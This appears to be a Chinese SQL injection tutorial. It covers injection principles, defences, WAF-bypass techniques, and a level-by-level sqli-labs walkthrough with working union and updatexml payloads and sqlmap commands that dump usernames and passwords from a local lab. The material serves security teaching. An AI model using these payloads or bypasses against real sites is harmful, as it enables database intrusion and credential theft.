一、SQL注入
1.SQL注入原理
SQL 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
简而言之,SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。
SQL 注入的原理主要有以下 4 点:
1)恶意拼接查询
SQL 语句可以查询、插入、更新和删除数据,且使用分号来分隔不同的命令。例如:
SELECT * FROM users WHERE user_id = $user_id
其中,user_id 是传入的参数,如果传入的参数值为“1234; DELETE FROM users”,那么最终的查询语句会变为:
SELECT * FROM users WHERE user_id = 1234; DELETE FROM users
如果以上语句执行,则会删除 users 表中的所有数据。
2)利用注释执行非法命令
SQL 语句中可以插入注释。例如:
SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version=$version
如果 version 包含了恶意的字符串'-1' OR 3 AND SLEEP(500)--
,那么最终查询语句会变为:
SELECT COUNT(*) AS 'num' FROM game_score WHERE game_id=24411 AND version='-1' OR 3 AND SLEEP(500)--
以上恶意查询只是想耗尽系统资源,SLEEP(500) 将导致 SQL 语句一直运行。如果其中添加了修改、删除数据的恶意指令,那么将会造成更大的破坏。
3)传入非法参数
SQL 语句中传入的字符串参数是用单引号引起来的,如果字符串本身包含单引号而没有被处理,那么可能会篡改原本 SQL 语句的作用。 例如:
SELECT * FROM user_name WHERE user_name = $user_name
如果 user_name 传入参数值为 G'chen,那么最终的查询语句会变为:
SELECT * FROM user_name WHERE user_name ='G'chen'
一般情况下,以上语句会执行出错,这样的语句风险比较小。虽然没有语法错误,但可能会恶意产生 SQL 语句,并且以一种你不期望的方式运行。
4)添加额外条件
在 SQL 语句中添加一些额外条件,以此来改变执行行为。条件一般为真值表达式。例如:
UPDATE users SET userpass='$userpass' WHERE user_id=$user_id;
如果 user_id 被传入恶意的字符串“1234 OR TRUE”,那么最终的 SQL 语句会变为:
UPDATE users SET userpass= '123456' WHERE user_id=1234 OR TRUE;
这将更改所有用户的密码。
2.SQL注入常用函数及含义
version() Mysql版本
user() 数据库用户名
database() 数据库名
system_user() 数据库用户名
session_user() 连接数据库的用户名
current_user() 当前用户名
load_file() 读取本地文件
@@datadir 读取数据库路径
@@basedir mysql安装路径
@@version_complie_os 查看操作系统版本
information_schema 自带数据库
information_schema.schemata 数据库
information_schema.tables 数据表
information_schema.columns 数据列
floor() 返回小于等于该值的最大整数
RAND() 在0和1之间产生一个随机数
join() 实现表的连接
length(str) : 返回给定字符串的长度,如 length("string")=6
substr()、stbstring()、mid() :三个函数的用法、功能均一致
concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接
group_concat(username) :将username所有数据查询在一起,用逗号连接
limit 0,1:查询第1个数 limit 1,1:查询第2个数
order by 4 -- 判断有多少列
union select 1,2,3 -- 判断数据显示点
union select 1,user(),database() -- 显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- 查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- 查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- 查看账号密码信息
3.SQL注入防御手段
1)使用预编译语句和参数化查询
预编译语句:通过预编译SQL语句,确保SQL语句的结构在编译时就确定下来,之后传入的参数不会改变语句的结构,从而避免注入攻击。在Java中,可以使用PreparedStatement来实现参数化查询。
参数化查询:在编写SQL语句时,使用参数占位符(如?)代替直接的变量拼接,向数据库传递参数时只传递参数的值,而不涉及SQL语句结构的改变。
2)验证和过滤用户输入
输入验证:对所有用户输入进行严格的验证,拒绝不符合预期格式的输入。可以使用正则表达式、字符串替换等方法,去除或转义潜在的危险字符,如单引号、双引号等。
输入过滤:在服务器端对用户输入进行过滤,过滤掉潜在的恶意代码和SQL片段,确保输入数据的安全性。
3)限制数据库权限
为应用程序使用的数据库账户只赋予必要的权限,避免使用具有高级权限的账户。这样可以降低注入攻击的风险,即使发生注入攻击,攻击者能做的也非常有限。
4)使用存储过程
存储过程可以像预编译语句一样防止SQL注入,因为它们也使用参数化查询。在数据库中定义存储过程,并在应用程序中调用这些存储过程,可以减少SQL注入的风险。
5)使用ORM工具
许多现代编程框架提供了ORM(对象关系映射)工具,这些工具可以自动进行参数化查询,从而降低直接编写SQL语句的风险。ORM工具可以将数据库表映射为对象,通过操作对象来间接操作数据库,减少了SQL语句的编写和直接拼接的风险。
6)安全的数据库连接
确保数据库连接的安全,使用加密的数据库连接字符串,避免在连接字符串中泄露敏感信息,如数据库用户名和密码。
7)定期更新和打补丁
保持数据库管理系统(DBMS)和应用程序更新到最新版本,及时修补已知的安全漏洞。定期更新可以防止攻击者利用已知漏洞进行攻击。
8) 使用Web应用防火墙(WAF)
WAF可以帮助识别和阻挡SQL注入攻击等类型的攻击。WAF部署在Web服务器之前,可以检查所有进入Web服务器的流量,并识别潜在的恶意请求。
9)定期进行安全审计和代码审查
定期进行安全审计和代码审查,检查潜在的安全漏洞,及时修复。这可以确保应用程序和数据库的安全性得到持续保障。
10)加密敏感数据
对敏感数据进行加密存储和传输,防止数据在泄露后被恶意利用。可以使用对称加密、非对称加密或不可逆加密等方法来保护数据的安全性。
4.SQL注入常用绕过waf的方法
1)注释符号绕过
利用SQL注释符号(如--、/**/、#)来隐藏恶意SQL代码,使其不会被WAF识别或过滤。例如,在SQL查询中插入注释符号来注释掉WAF可能拦截的关键词或字符。
2)编码绕过
通过URL编码、Unicode编码或其他编码方式来隐藏恶意SQL代码。例如,将admin编码为%61%64%6D%69%6E,或使用其他字符编码形式绕过WAF的检测。
3)大小写变换绕过
利用数据库系统对SQL关键字大小写不敏感的特性,将SQL关键字的大小写进行变换,以绕过基于大小写的过滤器。例如,将SELECT改写为SeLeCt。
4)特殊字符和逻辑漏洞绕过
特殊字符绕过:使用引号、特殊符号等构造恶意SQL代码,绕过WAF的检测。
逻辑漏洞绕过:利用应用程序或数据库的逻辑漏洞,如盲注技术,结合SQL语句的特定逻辑结构绕过WAF的检测。
5)替代字符和函数
替代字符:当WAF拦截了某些关键字符(如UNION、SELECT等)时,可以使用替代字符(如uNIoN、sel<>ect等)绕过。
替代函数:当常用函数被WAF拦截时,可以使用功能相同的其他函数进行替代。例如,使用mid()函数代替substr()函数。
6)内联注释和空格绕过
内联注释:利用MySQL的内联注释特性(如/*!50001 SELECT * FROM users */),在特定数据库版本下执行被WAF拦截的SQL语句。
空格绕过:使用URL编码(如%20)或其他字符(如+、%09、%0a等)替换空格,绕过WAF对空格的过滤。
7)分块传输和协议特性
分块传输:利用HTTP协议的分块传输编码机制,将恶意SQL语句分割成多个部分进行传输,绕过WAF的检测。
协议特性:利用HTTP协议的某些特性(如Connection字段的keep-alive值),通过发送大量数据或特定格式的数据包来绕过WAF的检测。
8)二阶注入
利用已存储(在数据库或文件中)的用户输入被读取后再次进入SQL查询语句的特性,实现二阶SQL注入。这种方法通常涉及到应用程序的多个处理步骤和HTTP请求/响应周期。
二、sqli-labs靶场(第1~5关-手工注入)
第一关
1.注入点测试
?id=1
?id=1'
?id=1'--+
判断是字符型注入,闭合方式是'
2.查询字段数
如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
?id=1'order by 4 --+
字段的个数是3
3.判断回显位
?id=-1' union select 1,2,3 --+
第2,3个位置可以回显查询数据
4.查询数据库的基本信息
?id=-1' union select 1,database(),user() --+
5.获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
6.获取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
7.获取用户名密码
?id=-1' union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --+
第二关
1.判断注入类型
?id=1 and 1=1
?id=1 and 1=2
判断为数字型注入
2.查询字段数
?id=1 order by 3
?id=1 order by 4
字段数为3。
3.注入
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),user()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users
第三关
1.判断注入点类型
?id=1'
报错,判断为字符型注入,闭合方式为 ')
2.注入
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),user()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第四关
1.判断注入点类型
?id=1'
?id=1"
报语法错误。判断是字符型注入,闭合方式是")
2.注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),user()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第五关
?id=1
发现没有回显,即使调整了id的值,并没有产生回显点,判断闭合方式为单引号闭合。采用报错注入。
2.获取数据库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
3.获取表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
4.获取字段名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
5.获取用户名密码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
三、SQLi的手工注入的步骤
判断有无注入点
方法:首先确定目标页面可能存在的注入点,例如URL,搜索栏,登录注册界面等可能会提交sql语句到数据库的地方。再通过输入特殊字符(如单引号'、双引号"、注释符--等),观察应用程序的响应。若页面响应sql语言的语法错误,则可能存在注入点。
示例:
http://127.0.0.1/html/?id=1'
判断字段数量
方法:在注⼊点后⾯添加语句 order by int ,int的值可以是任意数字,但是⼀个数据表的字段数量通常不超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显。
示例:
order by 2--+
判断字段前端回显位置
方法:在链接后⾯添加语句union select 1,2,3,4,5,6,7,8,9,10--+进⾏联合查询来暴露可查询的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤
示例:
union SELECT 1,database(),version(),7,8,9--+
判断数据库信息
方法:利⽤内置函数暴数据库信息 version() -- 版本;database() -- 数据库;user() -- ⽤户;这些函数可以帮助了解数据库内数据的信息
示例:
union select 1,user(),3 --+
查找数据库名、表名、列(属性)名
方法:
库名:information_schema
表名:information_schema.tables
列名:information_schema.columns
示例:
union select information_schema from information_schema.schemata
union select group_concat(table_name) from information_schema.tables wheretable_schema=database()--+
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='biaoming'),3,4#
获取敏感数据
方法:获得了表名和列名后,使用查询语句获取敏感信息(账号,密码等)
示例:
union select 1, username, password from users limit 0,1
四、sqli-labs靶场(第6关-使用sqlmap)
1.查找注入点
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --batch
2.获取数据库
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --batch --dbs
3.获取表名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security --tables
4.获取users列名
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users --column
5.获取users表中数据
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch